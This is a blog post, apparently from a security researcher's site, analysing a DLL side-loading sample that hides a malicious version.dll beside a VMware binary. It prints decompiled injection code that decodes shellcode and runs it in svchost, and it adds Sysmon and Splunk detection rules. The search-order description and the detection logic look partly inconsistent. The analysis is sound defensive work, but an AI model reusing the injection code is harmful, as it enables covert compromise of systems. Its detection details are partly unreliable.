{"id":197,"date":"2023-03-01T09:00:00","date_gmt":"2023-03-01T09:00:00","guid":{"rendered":"http:\/\/justruss.tech\/index.php\/2023\/03\/01\/dll-side-loading-in-practice-a-walkthrough-of-a-real-sample\/"},"modified":"2026-05-13T12:59:35","modified_gmt":"2026-05-13T12:59:35","slug":"dll-side-loading-in-practice-a-walkthrough-of-a-real-sample","status":"publish","type":"post","link":"https:\/\/justruss.tech\/index.php\/2023\/03\/01\/dll-side-loading-in-practice-a-walkthrough-of-a-real-sample\/","title":{"rendered":"DLL Side-Loading in Practice: A Walkthrough of a Real Sample"},"content":{"rendered":"<p>DLL side-loading abuses the Windows DLL search order. When an executable calls LoadLibrary with a relative path (just a filename, no directory), Windows searches in this order: the directory containing the executable, the current working<br \/>\ndirectory, System32, SysWOW64, Windows directory, then PATH directories. By placing a malicious DLL in the same directory as a legitimate executable, an attacker ensures their DLL loads instead of the legitimate one.<\/p>\n<h3>The sample \u2014 VMware side-loading<\/h3>\n<p>The sample uses VMware Workstation&#8217;s <code>vmware-vmx.exe<\/code> as the carrier. VMware loads several DLLs from its installation directory by name. The target DLL is <code>version.dll<\/code> \u2014 a Windows system DLL that VMware loads for version<br \/>\nchecking functions.<\/p>\n<pre># Verify the legitimate VMware binary loads version.dll\n# Using Process Monitor during VMware startup:\n# Path: C:\\Program Files (x86)\\VMware\\VMware Workstation\\version.dll\n# Result: NAME NOT FOUND\n# Path: C:\\Windows\\system32\\version.dll\n# Result: SUCCESS\n\n# The \"NAME NOT FOUND\" for the local directory is the vulnerability\n# If we place version.dll there, it will load instead<\/pre>\n<h3>Static analysis \u2014 identifying the malicious DLL<\/h3>\n<pre># Check if the DLL is signed\nsigcheck64.exe -nobanner malicious_version.dll\n# Verified:          Unsigned\n# File description:  (empty)\n# Original Name:     (empty)\n# Internal Name:     (empty)\n\n# The legitimate version.dll:\nsigcheck64.exe C:\\Windows\\system32\\version.dll\n# Verified:          Signed\n# Signing date:      (legitimate timestamp)\n# Publisher:         Microsoft Windows<\/pre>\n<p>Open the malicious DLL in Ghidra. The DLL exports the same functions as the legitimate version.dll to prevent crashes:<\/p>\n<pre>GetFileVersionInfoA\nGetFileVersionInfoByHandle\nGetFileVersionInfoExA\nGetFileVersionInfoExW\nGetFileVersionInfoSizeA\nGetFileVersionInfoSizeExA\nGetFileVersionInfoSizeExW\nGetFileVersionInfoSizeW\nGetFileVersionInfoW\nVerFindFileA\nVerFindFileW\nVerInstallFileA\nVerInstallFileW\nVerLanguageNameA\nVerLanguageNameW\nVerQueryValueA\nVerQueryValueW<\/pre>\n<p>These are proxied to the real <code>C:\\Windows\\System32\\version.dll<\/code> to maintain legitimate functionality. The malicious logic runs in DllMain:<\/p>\n<pre>\/\/ Decompiled DllMain (simplified from Ghidra output)\nBOOL DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {\n    if (reason == DLL_PROCESS_ATTACH) {\n        DisableThreadLibraryCalls(hModule);\n        \/\/ Create thread for payload execution\n        HANDLE hThread = CreateThread(NULL, 0, \n            (LPTHREAD_START_ROUTINE)payloadThread, NULL, 0, NULL);\n        CloseHandle(hThread);\n    }\n    return TRUE;\n}\n\nDWORD WINAPI payloadThread(LPVOID lpParam) {\n    \/\/ Decode XOR-encrypted shellcode\n    unsigned char shellcode[] = { 0x48, 0x31, 0xc9, ... };\n    unsigned char key[] = { 0xDE, 0xAD, 0xC0, 0xDE };\n    for (int i = 0; i &lt; sizeof(shellcode); i++) {\n        shellcode[i] ^= key[i % 4];\n    }\n    \n    \/\/ Allocate RWX memory in svchost.exe and inject\n    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, svchost_pid);\n    LPVOID pRemote = VirtualAllocEx(hProc, NULL, sizeof(shellcode), \n                                     MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n    WriteProcessMemory(hProc, pRemote, shellcode, sizeof(shellcode), NULL);\n    CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pRemote, NULL, 0, NULL);\n    return 0;\n}<\/pre>\n<h3>Dynamic analysis \u2014 Process Monitor<\/h3>\n<pre># ProcMon filter settings:\n# Process Name: vmware-vmx.exe\n# Operation: Load Image\n\n# Capture output shows:\nTime        Process       Operation  Path\n23:22:41    vmware-vmx    Load Image C:\\Program Files (x86)\\VMware\\...\\version.dll\n23:22:41    vmware-vmx    Load Image C:\\Windows\\System32\\ntdll.dll\n23:22:41    vmware-vmx    Create Thread (remote) -&gt; svchost.exe PID 1234\n23:22:41    svchost.exe   TCP Connect 203.0.113.50:443<\/pre>\n<h3>Sysmon detection<\/h3>\n<p>Event ID 7 (ImageLoaded) with a rule targeting DLLs loaded from outside standard directories:<\/p>\n<pre>&lt;ImageLoad onmatch=\"include\"&gt;\n  &lt;!-- Flag DLLs loaded from Program Files subdirectories\n       that exist in System32 (side-loading indicator) --&gt;\n  &lt;ImageLoaded condition=\"contains\"&gt;Program Files&lt;\/ImageLoaded&gt;\n&lt;\/ImageLoad&gt;\n&lt;ImageLoad onmatch=\"exclude\"&gt;\n  &lt;!-- Known legitimate vendor DLLs in Program Files - add yours --&gt;\n  &lt;Signed condition=\"is\"&gt;true&lt;\/Signed&gt;\n&lt;\/ImageLoad&gt;<\/pre>\n<p>In Splunk, correlating Event ID 7 with a process-to-lsass network connection shortly after:<\/p>\n<pre>index=sysmon EventCode=7 earliest=-1h\n  ImageLoaded!=\"C:\\Windows\\*\" AND ImageLoaded!=\"C:\\Program Files\\*\"\n  Signed=false\n| join type=inner host [ \n    search index=sysmon EventCode=3 DestinationIp!=10.0.0.0\/8 earliest=-1h\n]\n| table _time, host, Image, ImageLoaded, DestinationIp, DestinationPort<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>DLL side-loading keeps appearing in threat<br \/>\nreports. Breaking down a sample that used a legitimate signed binary as a loader.<\/p>\n","protected":false},"author":0,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14],"tags":[],"class_list":["post-197","post","type-post","status-publish","format-standard","hentry","category-malware-analysis"],"_links":{"self":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts\/197","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/comments?post=197"}],"version-history":[{"count":2,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts\/197\/revisions"}],"predecessor-version":[{"id":239,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts\/197\/revisions\/239"}],"wp:attachment":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/media?parent=197"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/categories?post=197"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/tags?post=197"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}